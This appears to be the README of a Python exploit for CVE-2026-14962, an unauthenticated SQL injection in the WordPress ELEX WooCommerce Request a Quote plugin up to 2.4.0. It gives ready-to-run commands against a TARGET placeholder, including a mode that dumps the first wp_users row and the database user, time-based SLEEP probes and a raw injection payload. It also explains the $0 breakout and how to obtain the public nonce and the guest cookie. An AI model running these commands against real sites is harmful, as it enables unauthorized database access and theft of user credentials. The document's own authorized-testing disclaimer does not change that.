## https://sploitus.com/exploit?id=1827572E-4B22-5D4D-A969-CBB7418FEC3D
# CVE-2026-14962
Wordpress Plugin ELEX WooCommerce Request a Quote unauthenticated SQL injection
ELEX WooCommerce Request a Quote (WordPress plugin `elex-request-a-quote`) ≤ 2.4.0 — unauthenticated SQL injection via the public `elex_raq_add_to_quote` AJAX action.
For authorized testing only. Do not run this against systems you do not own or have permission to test.
**Requires:** Python 3, standard library only. Target must be running WooCommerce (the quote scripts/nonce are printed on the shop/home page).
```
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --test
python3 cve-2026-14962-elex-raq-sqli.py -u https://TARGET --test --insecure
python3 cve-2026-14962-elex-raq-sqli.py -u TARGET --test
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --dump
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --dump --pid 11
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --sleep 3
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --sql 'OR JSON_ARRAY(SLEEP(3)))#'
```
| Flag | What it does |
|---|---|
| `-u` / `--url` | WordPress site root (required). `http://` or `https://`; a hostname is tried as HTTPS first, then HTTP. Self-signed TLS is retried automatically. `--insecure` skips verify from the start |
| `--test` | Guest: plugin version + public nonce, then a non-destructive `$0` SQL probe |
| `--dump` | First `wp_users` row + DB user. Needs `WP_DEBUG` so the XPATH error is in the HTTP body |
| `--query SQL` | Your own SQL expression (no single quotes; use `0x…` hex for strings) |
| `--sql EXPR` | Raw `data[id]` after the `$0$0` breakout (you write the `) OR … #` gadget) |
| `--sleep N` | Time-based `SLEEP(N)` attempt |
| `--pid` / `--vid` | WooCommerce product / variation ids (variation must be non-empty to hit the sink) |
| `--insecure` | Skip TLS verify |
| `--timeout` | HTTP timeout seconds (default 30) |
Unauthenticated. The nonce is printed in `request_a_quote_ajax_obj` on `/` and `/shop/`. The guest cookie is `request_a_quote_user_coockie` (the plugin’s spelling).
`--test` POSTs `attribute_value=$0`. Vulnerable 2.4.0 `preg_replace` treats `$0` as the `%s` match and leaves a literal `%d` in the query. 2.4.1 binds `JSON_CONTAINS` and `$0` is only a JSON value.
Stdout: `VERSION`, `NONCE`, `VULNERABLE`, `NOT_VULNERABLE`, `NOT_FOUND`, `NO_NONCE`, `NO_DUMP`, `SQLERR`, `SLEEP`.
CVE: [CVE-2026-14962](https://vulners.com/cve/CVE-2026-14962). Plugin changelog 2.4.1.
